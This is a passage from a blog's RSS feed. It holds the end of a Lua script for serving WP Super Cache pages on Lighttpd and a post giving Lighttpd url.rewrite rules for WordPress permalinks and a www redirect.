cookie_condition = not (string.find(user_cookie, &#8220;.*comment_author.*&#8221;) or<br />
42.<br />
string.find(user_cookie, &#8220;.*wordpress.*&#8221;) or<br />
43.<br />
string.find(user_cookie, &#8220;.*wp-postpass_.*&#8221;))<br />
44.</p>
<p>45.<br />
if (query_condition and cookie_condition) then<br />
46.<br />
&#8211;construct the full path of the expeted  cached filename for this url<br />
47.<br />
accept_encoding = lighty.request["Accept-Encoding"] or &#8220;no_acceptance&#8221;<br />
48.<br />
cached_page     = lighty.env["physical.doc-root"] ..<br />
49.<br />
&#8220;/wp-content/cache/supercache/&#8221; ..<br />
50.<br />
lighty.request["Host"] ..<br />
51.<br />
lighty.env["request.uri"] ..<br />
52.<br />
&#8220;/index.html&#8221;<br />
53.</p>
<p>54.<br />
cached_page = string.gsub(cached_page, &#8220;index.php/&#8221;, &#8220;/&#8221;)<br />
55.<br />
cached_page = string.gsub(cached_page, &#8220;//&#8221;, &#8220;/&#8221;)<br />
56.</p>
<p>57.<br />
&#8211;If the client accepts gzipped content, send gzipped content<br />
58.<br />
if (string.find(accept_encoding, &#8220;gzip&#8221;)) then<br />
59.<br />
&#8211;If for some reason the gzipped file does not exist, fallback to the<br />
60.<br />
&#8211;uncompressed cached file<br />
61.<br />
if not serve_gzip(cached_page, expiration_time) then<br />
62.<br />
serve_html(cached_page,expiration_time) end<br />
63.<br />
else<br />
64.<br />
serve_html(cached_page,expiration_time)<br />
65.<br />
end<br />
66.<br />
end<br />
67.<br />
end</p>
<p>If you want to use the script in your own server, the only things that you have to change is the hardcoded /opt/apps/wordpress/ path and the expiration_time variable.</p>
<p>Kudos to Giovanni Intini for porting the Apache mod_rewrite’s rules on mod_magnet and the original idea of the script.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/872.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>url.rewrite for WordPress on Lighttpd</title>
		<link>http://www.evanjiang.net.cn/archives/870.html</link>
		<comments>http://www.evanjiang.net.cn/archives/870.html#comments</comments>
		<pubDate>Sun, 05 Apr 2009 13:35:28 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[It Tips]]></category>
		<category><![CDATA[redhat linux]]></category>
		<category><![CDATA[www]]></category>
		<category><![CDATA[url rewrite wordpress Lighttpd]]></category>

		<guid isPermaLink="false">http://www.evanjiang.net.cn/?p=870</guid>
		<description><![CDATA[<p>This blog now runs on a Lighttpd (Lighty) webserver instead of Apache, and this means the configuration for ‘pretty URLs’ or permalinks of WordPress doesn’t work like it used to.
(As you might have noticed, I use permalinks like /2007/02/this-is-permalink/)</p>
<p>Whereas WordPress can automatically adapt the Apache .htacccess file to something like

RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} [...]]]></description>
			<content:encoded><![CDATA[<p>This blog now runs on a Lighttpd (Lighty) webserver instead of Apache, and this means the configuration for ‘pretty URLs’ or permalinks of WordPress doesn’t work like it used to.<br />
(As you might have noticed, I use permalinks like /2007/02/this-is-permalink/)</p>
<p>Whereas WordPress can automatically adapt the Apache .htacccess file to something like<br />
<IfModule mod_rewrite.c><br />
RewriteEngine On<br />
RewriteBase /<br />
RewriteCond %{REQUEST_FILENAME} !-f<br />
RewriteCond %{REQUEST_FILENAME} !-d<br />
RewriteRule . /index.php [L]<br />
</IfModule><br />
it does not do anything automatically for your Lighty .conf configuration file (which is logical, since an application should not be allowed to mess with a central config file).</p>
<p>So what you have to use is:</p>
<p>a WordPress blog installed in the root of your (sub-) domain:<br />
$HTTP["host"] =~ “{yourdomain}” {<br />
var.app = “{yourdomain}”<br />
accesslog.filename = base + “/logs/” + app + “.access.log”<br />
server.errorlog = base + “/logs/” + app + “.error.log”<br />
load php app<br />
url.rewrite = (<br />
“^/(wp-.+).*/?” => “$0″,<br />
“^/(sitemap.xml)” => “$0″,<br />
“^/(xmlrpc.php)” => “$0″,<br />
“^/(.+)/?$” => “/index.php/$1″<br />
)<br />
}<br />
<span id="more-870"></span><br />
a WordPress blog installed in a subfolder (e.g. /blog/)<br />
$HTTP["host"] =~ “{yourdomain}” {<br />
var.app = “{yourdomain}”<br />
accesslog.filename = base + “/logs/” + app + “.access.log”<br />
server.errorlog = base + “/logs/” + app + “.error.log”<br />
load php app<br />
url.rewrite = (<br />
“^/?$” => “/blog/index.php”,<br />
“^/blog/(wp-.+)$” => “$0″,<br />
“^/blog/xmlrpc.php” => “$0″,<br />
“^/blog/sitemap.xml” => “$0″,<br />
“^/blog/(.+)/?$” => “/blog/index.php/$1″<br />
)<br />
}<br />
The xmlrpc.php rule is necessary for external access (like, publishing from del.icio.us or Flickr), and the sitemap.xml file is something for Google Sitemaps.</p>
<p>For those stubborn visitors who always precede their URLs with www, you can also add a redirect:</p>
<p>$HTTP["host"] =~ “www.blog.forret.com” {<br />
url.redirect = ( “.*” => “http://blog.forret.com”)<br />
}</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evanjiang.net.cn/archives/870.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
